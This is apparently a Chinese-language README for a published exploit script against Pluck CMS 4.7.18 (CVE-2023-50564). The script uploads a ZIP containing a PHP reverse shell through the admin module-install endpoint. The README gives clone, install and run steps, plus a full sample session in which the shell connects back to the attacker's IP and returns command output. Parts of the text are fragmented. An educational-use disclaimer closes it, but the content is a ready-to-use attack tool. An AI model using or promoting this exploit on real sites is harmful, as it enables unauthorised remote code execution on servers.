该脚本利用 Pluck CMS v4.7.18 中的已验证任意文件上传漏洞(CVE-2023-50564)。通过利用此漏洞,已通过身份验证的攻击者可以上传恶意 PHP 文件,从而执行任意代码(此处为反向 Shell)。
该漏洞存在于 /admin.php?action=installmodule 端点,该端点允许已通过身份验证的用户上传包含任意文件的 ZIP 文件。通过上传恶意 PHP 文件,此漏洞利用工具会建立指向攻击者的反向 Shell。
pip install requestspip install requests-toolbelt此脚本还需要 Pluck CMS 实例的有效登录信息,包括目标 URL 和密码。
su、sudo -l)并允许用户手动输入。git clone https://github.com/yourusername/Pluck-CMS-Exploit.git
cd Pluck-CMS-Exploit
pip install requests requests-toolbelt
使用 Python 运行漏洞利用工具:
python3 exploit.py
Shell> 提示符,可以与目标系统进行交互。示例:
$ python3 exploit.py
Enter the target URL (e.g., example.com): pluckcms.vulnerable.com
Enter the password for target authentication: password123
Enter your IP (for reverse shell): 10.10.14.5
Enter the port to listen on (for reverse shell): 4444
[*] Authenticating to the target...
[+] Authentication successful.
[*] Generating reverse shell PHP file...
[+] Reverse shell PHP file created successfully as 'shell.php'.
[*] Creating ZIP payload...
[+] ZIP file created as 'payload.zip'.
[*] Starting reverse shell listener on 10.10.14.5:4444 ...
[*] Uploading payload to the target...
[+] Payload uploaded successfully.
[*] Triggering reverse shell at: http://pluckcms.vulnerable.com/data/modules/payload/shell.php
[+] Connection received from ('10.10.10.1', 55678)
Shell> whoami
www-data
/admin.php?action=installmodule)。此脚本仅供教育目的和道德黑客使用。只能在你有明确测试权限的环境中使用。作者不对任何滥用此工具的行为负责。
本项目采用 MIT 许可证 - 详情请参阅 MIT 许可证。
欢迎 Fork 本仓库并提交 Pull Request。如有任何问题或功能请求,请在 GitHub 上提交 Issue。